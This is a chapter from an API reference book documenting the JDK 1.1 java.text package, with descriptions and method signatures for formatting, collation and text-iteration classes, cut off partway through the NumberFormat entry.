java.math.BigInteger (JDK 1.1) | Book Index | java.net.ConnectException (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 29] The java.text Package

Java in a Nutshell

Previous Chapter 29 Next

29. The java.text Package

Contents:
java.text.CharacterIterator (JDK 1.1)
java.text.ChoiceFormat (JDK 1.1)
java.text.CollationElementIterator (JDK 1.1)
java.text.CollationKey (JDK 1.1)
java.text.Collator (JDK 1.1)
java.text.DateFormat (JDK 1.1)
java.text.DateFormatSymbols (JDK 1.1)
java.text.DecimalFormat (JDK 1.1)
java.text.DecimalFormatSymbols (JDK 1.1)
java.text.FieldPosition (JDK 1.1)
java.text.Format (JDK 1.1)
java.text.MessageFormat (JDK 1.1)
java.text.NumberFormat (JDK 1.1)
java.text.ParseException (JDK 1.1)
java.text.ParsePosition (JDK 1.1)
java.text.RuleBasedCollator (JDK 1.1)
java.text.SimpleDateFormat (JDK 1.1)
java.text.StringCharacterIterator (JDK 1.1)

The java.text package consists of classes and interfaces that are useful for writing internationalized programs that handle local customs, such as date and time formatting and string alphabetization, correctly. This package is new in Java 1.1. Figure 29.1 shows its class hierarchy.

The NumberFormat class formats numbers, monetary quantities, and percentages as appropriate for the default or specified locale. DateFormat formats dates and times in a locale-specific way. The concrete DecimalFormat and SimpleDateFormat subclasses of these classes can be used for customized number, date, and time formatting. MessageFormat allows substitution of dynamic values, including formatted numbers and dates, into static message strings. ChoiceFormat formats a number using an enumerated set of string values. Collator compares strings according to the customary sorting order for a locale. BreakIterator scans text to find word, line, and sentence boundaries following locale-specfic rules.

Figure 29.1: The java.text package

[Graphic: Figure 29-1]

29.1 java.text.BreakIterator (JDK 1.1)

This class is used to determine character, word, sentence, and line breaks in a block of text in a way that is independent of locale and text-encoding. As an abstract class, BreakIterator cannot be instantiated directly. Instead, you must use one of the class methods getCharacterInstance(), getWordInstance(), getSentenceInstance(), or getLineInstance() to return an instance of a nonabstract subclass of BreakIterator. These various "factory" methods return a BreakIterator object that is configured to locate the requested boundary types, and is localized to work for the optionally specified locale.

Once you have obtained an appropriate BreakIterator object, you use setText() to specify the text that it is to locate boundaries in. To locate boundaries in a Java String object, simply specify the string. To locate boundaries in text that uses some other encoding, you must specify a CharacterIterator object for that text so that the BreakIterator object can locate the individual characters of the text.

Having set the text to be searched, you can determine the character positions of characters, words, sentences, or line breaks with the first(), last(), next(), previous(), current(), and following() methods, which perform the obvious functions. Note that these methods do not return text itself, but merely the position of the appropriate word, sentence, or line break.

public abstract class BreakIterator extends Object implements Cloneable, Serializable {
    // Protected Constructor
            protected BreakIterator();
    // Constants
            public static final int DONE;
    // Class Methods
            public static synchronized Locale[] getAvailableLocales();
            public static BreakIterator getCharacterInstance();
            public static BreakIterator getCharacterInstance(Locale where);
            public static BreakIterator getLineInstance();
            public static BreakIterator getLineInstance(Locale where);
            public static BreakIterator getSentenceInstance();
            public static BreakIterator getSentenceInstance(Locale where);
            public static BreakIterator getWordInstance();
            public static BreakIterator getWordInstance(Locale where);
    // Public Instance Methods
            public Object clone();  // Overrides Object
            public abstract int current();
            public abstract int first();
            public abstract int following(int offset);
            public abstract CharacterIterator getText();
            public abstract int last();
            public abstract int next(int n);
            public abstract int next();
            public abstract int previous();
            public void setText(String newText);
            public abstract void setText(CharacterIterator newText);
}

Returned By:

BreakIterator.getCharacterInstance(),
BreakIterator.getLineInstance(),
BreakIterator.getSentenceInstance(),
BreakIterator.getWordInstance()

Previous | Home | Next
java.net.URLStreamHandlerFactory (JDK 1.0) | Book Index | java.text.CharacterIterator (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 29] 29.2 java.text.CharacterIterator (JDK 1.1)

Java in a Nutshell

Previous Chapter 29
The java.text Package 		Next

29.2 java.text.CharacterIterator (JDK 1.1)

This interface defines an API for portably iterating through the characters that comprise a string of text, regardless of the encoding of that text. Such an API is necessary because the number of bytes per character is different for different encodings, and some encodings even use variable-width characters within the same string of text. In addition to allowing iteration, a class that implements the CharacterIterator interface for non-Unicode text also performs translation of characters from their native encoding to standard Java Unicode characters.

CharacterIterator is similar to java.util.Enumeration, but is somewhat more complex than that interface. The first() and last() methods return the first and last characters in the text, and the next() and prev() methods allow you to loop forward or backwards through the characters of the text. These methods return the DONE constant when they go beyond the first or last character in the text--a test for this constant can be used to terminate a loop.

The CharacterIterator interface also allows random access to the characters in a string of text. The getBeginIndex() and getEndIndex() methods return the character positions for the start and end of the string, and setIndex() sets the current position. getIndex() returns the index of the current position, and current() returns the character at that position.

public abstract interface CharacterIterator extends Cloneable {
    // Constants
            public static final char DONE;
    // Public Instance Methods
            public abstract Object clone();  // Overrides Object
            public abstract char current();
            public abstract char first();
            public abstract int getBeginIndex();
            public abstract int getEndIndex();
            public abstract int getIndex();
            public abstract char last();
            public abstract char next();
            public abstract char previous();
            public abstract char setIndex(int position);
}

Implemented By:

StringCharacterIterator

Passed To:

BreakIterator.setText()

Returned By:

BreakIterator.getText()

Previous | Home | Next
java.text.BreakIterator (JDK 1.1) | Book Index | java.text.ChoiceFormat (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 29] 29.3 java.text.ChoiceFormat (JDK 1.1)

Java in a Nutshell

Previous Chapter 29
The java.text Package 		Next

29.3 java.text.ChoiceFormat (JDK 1.1)

This class is a subclass of Format that converts a number to a String in a way that is reminiscent of a switch statement or an enumerated type. Each ChoiceFormat object has an array of doubles known as its "limits" and an array of strings known as its "formats." When the format() method is called to format a number x, the ChoiceFormat finds an index i such that:

limits[i] <= x < limits[i+1]

If x is less than the first element of the array, the first element is used, and if it is greater than the last, the last element is used. Once the index i has been determined, it is used as the index into the array of strings, and the indexed string is returned as the result of the format() method.

A ChoiceFormat object may also be created by encoding its "limits" and "formats" into a single string known as its "pattern." A typical pattern looks like the one that follows, used to return the singular or plural form of a word, based on the numeric value passed to the format() method:

ChoiceFormat cf = new ChoiceFormat("0#errors|1#error|2#errors");

A ChoiceFormat object created in this way returns the string "errors" when it formats the number 0, or any number greater than or equal to 2. It returns "error" when it formats the number 1. In the syntax shown here, note the pound sign (#) used to separate the limit number from the string that corresponds to that case and the vertical bar (|) used to separate the individual cases. You can use the applyPattern() method to change the pattern used by a ChoiceFormat object; use toPattern() to query the pattern it uses.

public class ChoiceFormat extends NumberFormat {
    // Public Constructors
            public ChoiceFormat(String newPattern);
            public ChoiceFormat(double[] limits, String[] formats);
    // Class Methods
            public static final double nextDouble(double d);
            public static double nextDouble(double d, boolean positive);
            public static final double previousDouble(double d);
    // Public Instance Methods
            public void applyPattern(String newPattern);
            public Object clone();  // Overrides NumberFormat
            public boolean equals(Object obj);  // Overrides NumberFormat
            public StringBuffer format(long number, StringBuffer toAppendTo,
            FieldPosition status);  // Defines NumberFormat
            public StringBuffer format(double number, StringBuffer toAppendTo,
            FieldPosition status);  // Defines NumberFormat
            public Object[] getFormats();
            public double[] getLimits();
            public int hashCode();  // Overrides NumberFormat
            public Number parse(String text, ParsePosition status);  // Defines NumberFormat
            public void setChoices(double[] limits, String[] formats);
            public String toPattern();
}

Hierarchy:

Object->Format(Serializable, Cloneable)->NumberFormat(Cloneable)->ChoiceFormat

Previous | Home | Next
java.text.CharacterIterator (JDK 1.1) | Book Index | java.text.CollationElementIterator (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 29] 29.4 java.text.CollationElementIterator (JDK 1.1)

Java in a Nutshell

Previous Chapter 29
The java.text Package 		Next

29.4 java.text.CollationElementIterator (JDK 1.1)

A CollationElementIterator object is returned by the getCollationElementIterator() method of the RuleBasedCollator object. The purpose of this class is to allow a program to iterate (with the next() method) through the characters of a string, returning ordering values for each of the "collation keys" in the string. Note that collation keys are not exactly the same thing as characters. In the traditional Spanish collation order, for example, the two-character sequence "ch" is treated as a single collation key that comes alphabetically between the letters "c" and "d."

The value returned by the next() method is the collation order of the next collation key in the string. This numeric value can be directly compared to the value returned by next() for other CollationElementIterator objects. The value returned by next() can also be decomposed into primary, secondary, and tertiary ordering values with the static methods of this class.

This class is used by RuleBasedCollator to implement its compare() method, and to create CollationKey objects. Few applications ever need to use it directly.

public final class CollationElementIterator extends Object {
    // No Constructor
    // Constants
            public static final int NULLORDER;
    // Class Methods
            public static final int primaryOrder(int order);
            public static final short secondaryOrder(int order);
            public static final short tertiaryOrder(int order);
    // Public Instance Methods
            public int next();
            public void reset();
}

Returned By:

RuleBasedCollator.getCollationElementIterator()

Previous | Home | Next
java.text.ChoiceFormat (JDK 1.1) | Book Index | java.text.CollationKey (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 29] 29.5 java.text.CollationKey (JDK 1.1)

Java in a Nutshell

Previous Chapter 29
The java.text Package 		Next

29.5 java.text.CollationKey (JDK 1.1)

CollationKey objects are used to compare strings more quickly than is possible with Collation.compare(). Objects of this class are returned by Collation.getCollationKey(). To compare two CollationKey objects, invoke the compareTo() method of key A, passing the key B as an argument (both CollationKey objects must be created through the same Collation object). The return value of this method is less than zero if the key A is collated before the key B. It is equal to zero if they are equivalent for the purposes of collation, and it is greater than zero if the key A is collated after the key B.

Use getSourceString() to obtain the string represented by a CollationKey.

public final class CollationKey extends Object {
    // No Constructor
    // Public Instance Methods
            public int compareTo(CollationKey target);
            public boolean equals(Object target);  // Overrides Object
            public String getSourceString();
            public int hashCode();  // Overrides Object
            public byte[] toByteArray();
}

Passed To:

CollationKey.compareTo()

Returned By:

Collator.getCollationKey(), RuleBasedCollator.getCollationKey()

Previous | Home | Next
java.text.CollationElementIterator (JDK 1.1) | Book Index | java.text.Collator (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 29] 29.6 java.text.Collator (JDK 1.1)

Java in a Nutshell

Previous Chapter 29
The java.text Package 		Next

29.6 java.text.Collator (JDK 1.1)

This class is used to compare, order, and sort strings in a way that is appropriate for the default locale or some other specified locale. Because it is an abstract class, it cannot be instantiated directly. Instead, you must use the static getInstance() method to obtain an instance of a Collator subclass that is appropriate for the default or specified locale. You can use getAvailableLocales() to determine whether a Collator object is available for a desired locale.

Once an appropriate Collator object has been obtained, you can use the compare() method to compare strings. The possible return values of this method are -1, 0, and 1, which indicate, respectively, that the first string is collated before the second, that the two are equivalent for collation purposes, and that the first string is collated after the second. The equals() method is a convenient shortcut for testing two strings for collation equivalence.

When sorting an array of strings, each string in the array is typically compared more than once. Using the compare() method in this case is inefficient. A more efficient method for comparing strings multiple times is to use getCollationKey() for each string to create CollationKey objects. These objects can then be compared to each other more quickly than the strings themselves could be compared.

You can customize the way the Collator object performs comparisons by calling setStrength(). If you pass the constant PRIMARY to this method, the comparison only looks at primary differences in the strings--it compares letters but ignores accents and case differences. If you pass the constant SECONDARY, it ignores case differences but does not ignore accents. And if you pass TERTIARY (the default), the Collator object takes both accents and case differences into account in its comparison.

public abstract class Collator extends Object implements Cloneable, Serializable {
    // Protected Constructor
            protected Collator();
    // Constants
            public static final int CANONICAL_DECOMPOSITION;
            public static final int FULL_DECOMPOSITION;
            public static final int IDENTICAL;
            public static final int NO_DECOMPOSITION;
            public static final int PRIMARY;
            public static final int SECONDARY;
            public static final int TERTIARY;
    // Class Methods
            public static synchronized Locale[] getAvailableLocales();
            public static synchronized Collator getInstance();
            public static synchronized Collator getInstance(Locale desiredLocale);
    // Public Instance Methods
            public Object clone();  // Overrides Object
            public abstract int compare(String source, String target);
            public boolean equals(String source, String target);
            public boolean equals(Object that);  // Overrides Object
            public abstract CollationKey getCollationKey(String source);
            public synchronized int getDecomposition();
            public synchronized int getStrength();
            public abstract synchronized int hashCode();  // Overrides Object
            public synchronized void setDecomposition(int decompositionMode);
            public synchronized void setStrength(int newStrength);
}

Extended By:

RuleBasedCollator

Returned By:

Collator.getInstance()

Previous | Home | Next
java.text.CollationKey (JDK 1.1) | Book Index | java.text.DateFormat (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 29] 29.7 java.text.DateFormat (JDK 1.1)

Java in a Nutshell

Previous Chapter 29
The java.text Package 		Next

29.7 java.text.DateFormat (JDK 1.1)

This class formats and parses dates and times in a locale-specific way. As an abstract class, it cannot be instantiated directly, but it provides a number of static methods that return instances of a concrete subclass which you can use to format dates in a variety of ways. The getDateInstance() methods return a DateFormat object suitable for formatting dates in either the default locale or a specified locale. A formatting style may also optionally be specified--the constants FULL, LONG, MEDIUM, SHORT, and DEFAULT specify this style. Similarly, the getTimeInstance() methods return a DateFormat object that formats and parses times, and the getDateTimeInstance() methods return a DateFormat object that formats both dates and times. These methods also optionally take a format style constant and a Locale. Finally, getInstance() returns a default DateFormat object that formats both dates and times in the SHORT format.

Once you have created a DateFormat object, you can use the setCalendar() and setTimeZone() methods if you want to format the date using a calendar or time zone other than the default.

The various format() methods convert java.util.Date objects to strings, using whatever format is encapsulated in the DateFormat object. The parse() and parseObject() methods perform the reverse operation--they parse a string formatted according to the rules of the DateFormat object and convert it into a Date object.

The DEFAULT, FULL, MEDIUM, LONG, and SHORT constants are used to specify how verbose or compact the formatted date or time should be. The remaining constants, which all end with _FIELD, specify various fields of formatted dates and times and are used with the FieldPosition object that is optionally passed to format().

public abstract class DateFormat extends Format implements Cloneable {
    // Protected Constructor
            protected DateFormat();
    // Format Style Constants
            public static final int DEFAULT;
            public static final int FULL;
            public static final int LONG;
            public static final int MEDIUM;
            public static final int SHORT;
    // Date and Time Field Constants
            public static final int ERA_FIELD;
            public static final int YEAR_FIELD;
            public static final int MONTH_FIELD;
            public static final int WEEK_OF_MONTH_FIELD, WEEK_OF_YEAR_FIELD;
            public static final int DATE_FIELD, DAY_OF_YEAR_FIELD;
            public static final int DAY_OF_WEEK_FIELD, DAY_OF_WEEK_IN_MONTH_FIELD;
            public static final int TIMEZONE_FIELD;
            public static final int AM_PM_FIELD;
            public static final int HOUR0_FIELD, HOUR1_FIELD;
            public static final int HOUR_OF_DAY0_FIELD, HOUR_OF_DAY1_FIELD;
            public static final int MINUTE_FIELD;
            public static final int SECOND_FIELD;
            public static final int MILLISECOND_FIELD;
    // Protected Instance Variables
            protected Calendar calendar;
            protected NumberFormat numberFormat;
    // Class Methods
            public static Locale[] getAvailableLocales();
            public static final DateFormat getDateInstance();
            public static final DateFormat getDateInstance(int style);
            public static final DateFormat getDateInstance(int style, Locale aLocale);
            public static final DateFormat getDateTimeInstance();
            public static final DateFormat getDateTimeInstance(int dateStyle, int timeStyle);
            public static final DateFormat getDateTimeInstance(int dateStyle, int timeStyle, Locale aLocale);
            public static final DateFormat getInstance();
            public static final DateFormat getTimeInstance();
            public static final DateFormat getTimeInstance(int style);
            public static final DateFormat getTimeInstance(int style, Locale aLocale);
    // Public Instance Methods
            public Object clone();  // Overrides Format
            public boolean equals(Object obj);  // Overrides Object
            public final StringBuffer format(Object obj, StringBuffer toAppendTo, FieldPosition fieldPosition);  // Defines Format
            public abstract StringBuffer format(Date date, StringBuffer toAppendTo, FieldPosition fieldPosition);
            public final String format(Date date);
            public Calendar getCalendar();
            public NumberFormat getNumberFormat();
            public TimeZone getTimeZone();
            public int hashCode();  // Overrides Object
            public boolean isLenient();
            public Date parse(String text) throws ParseException;
            public abstract Date parse(String text, ParsePosition pos);
            public Object parseObject(String source, ParsePosition pos);  // Defines Format
            public void setCalendar(Calendar newCalendar);
            public void setLenient(boolean lenient);
            public void setNumberFormat(NumberFormat newNumberFormat);
            public void setTimeZone(TimeZone zone);
}

Hierarchy:

Object->Format(Serializable, Cloneable)->DateFormat(Cloneable)

Extended By:

SimpleDateFormat

Returned By:

DateFormat.getDateInstance(),
DateFormat.getDateTimeInstance(),
DateFormat.getInstance(),
DateFormat.getTimeInstance()

Previous | Home | Next
java.text.Collator (JDK 1.1) | Book Index | java.text.DateFormatSymbols (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 29] 29.8 java.text.DateFormatSymbols (JDK 1.1)

Java in a Nutshell

Previous Chapter 29
The java.text Package 		Next

29.8 java.text.DateFormatSymbols (JDK 1.1)

This class defines accessor methods for the various pieces of data, such as names of months and days, used by SimpleDateFormat to format and parse dates and times. You do not typically use this class unless you are formatting dates for an unsupported locale or in some highly customized way.

public class DateFormatSymbols extends Object implements Serializable, Cloneable {
    // Public Constructors
            public DateFormatSymbols();
            public DateFormatSymbols(Locale locale);
    // Public Instance Methods
            public Object clone();  // Overrides Object
            public boolean equals(Object obj);  // Overrides Object
            public String[] getAmPmStrings();
            public String[] getEras();
            public String getLocalPatternChars();
            public String[] getMonths();
            public String[] getShortMonths();
            public String[] getShortWeekdays();
            public String[] getWeekdays();
            public String[][] getZoneStrings();
            public int hashCode();  // Overrides Object
            public void setAmPmStrings(String[] newAmpms);
            public void setEras(String[] newEras);
            public void setLocalPatternChars(String newLocalPatternChars);
            public void setMonths(String[] newMonths);
            public void setShortMonths(String[] newShortMonths);
            public void setShortWeekdays(String[] newShortWeekdays);
            public void setWeekdays(String[] newWeekdays);
            public void setZoneStrings(String[][] newZoneStrings);
}

Passed To:

SimpleDateFormat(), SimpleDateFormat.setDateFormatSymbols()

Returned By:

SimpleDateFormat.getDateFormatSymbols()

Previous | Home | Next
java.text.DateFormat (JDK 1.1) | Book Index | java.text.DecimalFormat (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 29] 29.9 java.text.DecimalFormat (JDK 1.1)

Java in a Nutshell

Previous Chapter 29
The java.text Package 		Next

29.9 java.text.DecimalFormat (JDK 1.1)

This is the concrete Format class used by NumberFormat for all locales that use base 10 numbers. Most applications do not need to use this class directly--they can use the static methods of NumberFormat to obtain a default NumberFormat object for a desired locale, and may then perform minor locale-independent customizations on that object.

Applications that require highly-customized number formatting and parsing may create custom DecimalFormat objects by passing a suitable pattern to the DecimalFormat() constructor method. The applyPattern() method can be used to change this pattern. A pattern consists of a string of characters from the following table. For example: "$#,##0.00;($#,##0.00)".

Character | Meaning
# | A digit; zeros show as absent
0 | A digit; zeros show as 0
. | The locale-specific decimal separator
, | The locale-specific grouping separator
- | The locale-specific negative prefix
% | Show value as a percentage
; | Separates positive number format (on left) from optional negative number format (on right)
' | Quote a reserved character, so it appears literally in the output
other | Appears literally in output

A DecimalFormatSymbols object may be optionally specified when creating a DecimalFormat object. If one is not specified, a DecimalFormatSymbols object suitable for the default locale is used.

public class DecimalFormat extends NumberFormat {
    // Public Constructors
            public DecimalFormat();
            public DecimalFormat(String pattern);
            public DecimalFormat(String pattern, DecimalFormatSymbols symbols);
    // Public Instance Methods
            public void applyLocalizedPattern(String pattern);
            public void applyPattern(String pattern);
            public Object clone();  // Overrides NumberFormat
            public boolean equals(Object obj);  // Overrides NumberFormat
            public StringBuffer format(double number, StringBuffer result, FieldPosition fieldPosition);  // Defines NumberFormat
            public StringBuffer format(long number, StringBuffer result, FieldPosition fieldPosition);  // Defines NumberFormat
            public DecimalFormatSymbols getDecimalFormatSymbols();
            public int getGroupingSize();
            public int getMultiplier();
            public String getNegativePrefix();
            public String getNegativeSuffix();
            public String getPositivePrefix();
            public String getPositiveSuffix();
            public int hashCode();  // Overrides NumberFormat
            public boolean isDecimalSeparatorAlwaysShown();
            public Number parse(String text, ParsePosition status);  // Defines NumberFormat
            public void setDecimalFormatSymbols(DecimalFormatSymbols newSymbols);
            public void setDecimalSeparatorAlwaysShown(boolean newValue);
            public void setGroupingSize(int newValue);
            public void setMultiplier(int newValue);
            public void setNegativePrefix(String newValue);
            public void setNegativeSuffix(String newValue);
            public void setPositivePrefix(String newValue);
            public void setPositiveSuffix(String newValue);
            public String toLocalizedPattern();
            public String toPattern();
}

Hierarchy:

Object->Format(Serializable, Cloneable)->NumberFormat(Cloneable)->DecimalFormat

Previous | Home | Next
java.text.DateFormatSymbols (JDK 1.1) | Book Index | java.text.DecimalFormatSymbols (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 29] 29.10 java.text.DecimalFormatSymbols (JDK 1.1)

Java in a Nutshell

Previous Chapter 29
The java.text Package 		Next

29.10 java.text.DecimalFormatSymbols (JDK 1.1)

This class defines the various characters and strings, such as the decimal point, percent sign, and thousands separator, used by DecimalFormat when formatting numbers. You do not typically use this class directly unless you are formatting dates for an unsupported locale or in some highly customized way.

public final class DecimalFormatSymbols extends Object implements Cloneable, Serializable {
    // Public Constructors
            public DecimalFormatSymbols();
            public DecimalFormatSymbols(Locale locale);
    // Public Instance Methods
            public Object clone();  // Overrides Object
            public boolean equals(Object obj);  // Overrides Object
            public char getDecimalSeparator();
            public char getDigit();
            public char getGroupingSeparator();
            public String getInfinity();
            public char getMinusSign();
            public String getNaN();
            public char getPatternSeparator();
            public char getPerMill();
            public char getPercent();
            public char getZeroDigit();
            public int hashCode();  // Overrides Object
            public void setDecimalSeparator(char decimalSeparator);
            public void setDigit(char digit);
            public void setGroupingSeparator(char groupingSeparator);
            public void setInfinity(String infinity);
            public void setMinusSign(char minusSign);
            public void setNaN(String NaN);
            public void setPatternSeparator(char patternSeparator);
            public void setPerMill(char perMill);
            public void setPercent(char percent);
            public void setZeroDigit(char zeroDigit);
}

Passed To:

DecimalFormat(), DecimalFormat.setDecimalFormatSymbols()

Returned By:

DecimalFormat.getDecimalFormatSymbols()

Previous | Home | Next
java.text.DecimalFormat (JDK 1.1) | Book Index | java.text.FieldPosition (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 29] 29.11 java.text.FieldPosition (JDK 1.1)

Java in a Nutshell

Previous Chapter 29
The java.text Package 		Next

29.11 java.text.FieldPosition (JDK 1.1)

FieldPosition objects are optionally passed to the format() methods of the Format class and its subclasses to return additional information about the formatting that has been performed. The getBeginIndex() and getEndIndex() methods of this class are used to return the starting and ending character positions of some field of the formatted string. The integer value passed to the FieldPosition() constructor specifies what field of the returned string should have its bounds returned. The NumberFormat and DateFormat classes define various constants (which end with the string _FIELD) that can be used here. Typically, this bounds information is useful for aligning formatted strings in columns--for example, aligning the decimal points in a column of numbers.

public class FieldPosition extends Object {
    // Public Constructor
            public FieldPosition(int field);
    // Public Instance Methods
            public int getBeginIndex();
            public int getEndIndex();
            public int getField();
}

Passed To:

ChoiceFormat.format(),
DateFormat.format(),
DecimalFormat.format(),
Format.format(),
MessageFormat.format(),
NumberFormat.format(),
SimpleDateFormat.format()

Previous | Home | Next
java.text.DecimalFormatSymbols (JDK 1.1) | Book Index | java.text.Format (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 29] 29.12 java.text.Format (JDK 1.1)

Java in a Nutshell

Previous Chapter 29
The java.text Package 		Next

29.12 java.text.Format (JDK 1.1)

This abstract class is the base class for all number, date, and string formatting classes in the java.text package. It defines two abstract methods that are implemented by subclasses. format() converts an object to a string using the formatting rules encapsulated by the Format subclass and optionally appends the resulting string to an existing StringBuffer. parseObject() performs the reverse operation--it parses a formatted string and returns the corresponding object. Status information for these two operations is returned in FieldPosition and ParsePosition objects. The non-abstract methods of this class are simple shortcuts that rely on implementations of the abstract methods.

See ChoiceFormat, DateFormat, MessageFormat, and NumberFormat.

public abstract class Format extends Object implements Serializable, Cloneable {
    // Default Constructor: public Format()
    // Public Instance Methods
            public Object clone();  // Overrides Object
            public final String format(Object obj);
            public abstract StringBuffer format(Object obj, StringBuffer toAppendTo, FieldPosition pos);
            public abstract Object parseObject(String source, ParsePosition status);
            public Object parseObject(String source) throws ParseException;
}

Extended By:

DateFormat, MessageFormat, NumberFormat

Passed To:

MessageFormat.setFormat(), MessageFormat.setFormats()

Returned By:

MessageFormat.getFormats()

Previous | Home | Next
java.text.FieldPosition (JDK 1.1) | Book Index | java.text.MessageFormat (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 29] 29.13 java.text.MessageFormat (JDK 1.1)

Java in a Nutshell

Previous Chapter 29
The java.text Package 		Next

29.13 java.text.MessageFormat (JDK 1.1)

This class formats and substitutes objects into specified positions in a message string (also known as the "pattern" string). It provides the closest Java equivalent to the printf() function of the C programming language.

If a message is to be displayed only a single time, the simplest way to use the MessageFormat class is through the static format() method which is passed a message or pattern string and an array of argument objects to be formatted and substituted into the string. If the message is to be displayed several times, it makes more sense to create a MessageFormat object, supplying the pattern string, and then to call the format() instance method of this object, supplying the array of objects to be formatted into the message.

The message or pattern string used by the MessageFormat should contain digits enclosed in curly braces to indicate where each argument should be substituted. The sequence "{0}" indicates that the first object should be converted to a string (if necessary) and inserted at that point, while the sequence "{3}" indicates that the fourth object should be inserted, for example. If the object to be inserted is not a string, MessageFormat checks to see if it is a Date or a subclass of Number. If so, it uses a default DateFormat or NumberFormat object to convert the value to a string. If not, it simply invokes the object's toString() method to convert it.

A digit within curly braces in a pattern string may be optionally followed by a comma, and one of the words "date", "time", "number", or "choice", to indicate that the corresponding argument should be formatted as a date, time, number, or choice before being substituted into the pattern string. Any of these keywords may additionally be followed by a comma and additional pattern information to be used in formatting the date, time, number, or choice. (See SimpleDateFormat, DecimalFormat, and ChoiceFormat for more information.)

You can use the setLocale() method to specify a non-default Locale that the MessageFormat should use when obtaining DateFormat and NumberFormat objects to format dates, time, and numbers inserted into the pattern.

You can change the Format object used at a particular position in the pattern with the setFormat() method. You can set a new pattern for the MessageFormat object by calling applyPattern(), and you can obtain a string that represents the current formatting pattern by calling toPattern().

MessageFormat also supports a parse() method that can parse an array of objects out of a specified string, according to the specified pattern.

public class MessageFormat extends Format {
    // Public Constructor
            public MessageFormat(String pattern);
    // Class Methods
            public static String format(String pattern, Object[] arguments);
    // Public Instance Methods
            public void applyPattern(String newPattern);
            public Object clone();  // Overrides Format
            public boolean equals(Object obj);  // Overrides Object
            public final StringBuffer format(Object[] source, StringBuffer result, FieldPosition ignore);
            public final StringBuffer format(Object source, StringBuffer result, FieldPosition ignore);  // Defines Format
            public Format[] getFormats();
            public Locale getLocale();
            public int hashCode();  // Overrides Object
            public Object[] parse(String source, ParsePosition status);
            public Object[] parse(String source) throws ParseException;
            public Object parseObject(String text, ParsePosition status);  // Defines Format
            public void setFormat(int variable, Format newFormat);
            public void setFormats(Format[] newFormats);
            public void setLocale(Locale theLocale);
            public String toPattern();
}

Hierarchy:

Object->Format(Serializable, Cloneable)->MessageFormat

Previous | Home | Next
java.text.Format (JDK 1.1) | Book Index | java.text.NumberFormat (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 29] 29.14 java.text.NumberFormat (JDK 1.1)

Java in a Nutshell

Previous Chapter 29
The java.text Package 		Next

29.14 java.text.NumberFormat (JDK 1.1)

This class formats and parses numbers in a locale-specific way. As an abstract class, it cannot be instantiated directly, but it provides a number of static methods that return instances of a concrete subclass which you can use for formatting. The getInstance() method returns a NumberFormat object suitable for normal formatting of numbers in either the default locale or in a specified locale. getCurrencyInstance() and getPercentInstance() return NumberFormat objects for formatting numbers that represent monetary amounts and percentages in either the default locale or in a specified locale. getAvailableLocales() returns an array of locales for which NumberFormat objects are available.

Once you have created a suitable NumberFormat object, you may customize its locale-independent behavior with setMaximumFractionDigits(), setGroupingUsed() and similar set methods. In order to customize the locale-dependent behavior, you can use instanceof to test if the NumberFormat object is an instance of DecimalFormat, and if so, cast it to that type. The DecimalFormat class provides complete control over number formatting. Note, however, that a NumberFormat customized in this way may no longer be appropriate for the desired locale.

After creating and customizing a NumberFormat object, you can use the various format() methods to convert numbers to strings or string buffers, and you can use the parse() or parseObject() methods to convert strings to numbers.

The constants defined by this class are intended to be used by the FieldPosition object.

The NumberFormat class in not intended for the display of very large or very small numbers that require exponential notation, and it may not gracefully handle infinite or NaN (not-a-number) values.

public abstract class NumberFormat extends Format implements Cloneable {
    // Default Constructor: public NumberFormat()
    // Constants
            public static final int FRACTION_FIELD;
            public static final int INTEGER_FIELD;
    // Class Methods
            public static Locale[] getAvailableLocales();
            public static final NumberFormat getCurrencyInstance();
            public static NumberFormat getCurrencyInstance(Locale inLocale);
            public static final NumberFormat getInstance();
            public static NumberFormat getInstance(Locale inLocale);
            public static final NumberFormat getNumberInstance();
            public static NumberFormat getNumberInstance(Locale inLocale);
            public static final NumberFormat getPercentInstance();
            public static NumberFormat getPercentInstance(Locale inLocale);
    // Public Instance Methods
            public Object clone();  // Overrides Format
            public boolean equals(Object obj);  // Overrides Object
            public final StringBuffer format(Object number, StringBuffer toAppendTo, FieldPosition pos);  // Defines Format
            public final String format(double number);
            public final String format(long number);
            public abstract StringBuffer format(double number, StringBuffer toAppendTo, FieldPosition pos);
            public abstract StringBuffer format(long number, StringBuffer toAppendTo, FieldPosition pos);
            public int getMaximumFractionDigits();
            public int getMaximumIntegerDigits();
            public int getMinimumFractionDigits();
            public int getMinimumIntegerDigits();
            public int hashCode();  // Overrides Object
            public boolean isGroupingUsed();
            public boolean isParseIntegerOnly();
            public abstract Number parse(String text, ParsePosition parsePosition);
            public Number parse(String text) throws ParseException;
            public final Object parseObject(String source, ParsePosition parsePosition);  // Defines Format
            public void setGroupingUsed(boolean newValue);
            public void setMaximumFractionDigits(int newValue);
            public void setMaximumIntegerDigits(int newValue);
            public void setMinimumFractionDigits(int newValue);
            public void setMinimumIntegerDigits(int newValue);
            public void setParseIntegerOnly(boolean value);
}

Hierarchy:

Object->Format(Serializable, Cloneable)->NumberFormat(Cloneable)

Extended By:

ChoiceFormat, DecimalFormat

Passed To:

DateFormat.setNumberFormat()

Returned By:

DateFormat.getNumberFormat(),
NumberFormat.getCurrencyInstance(),
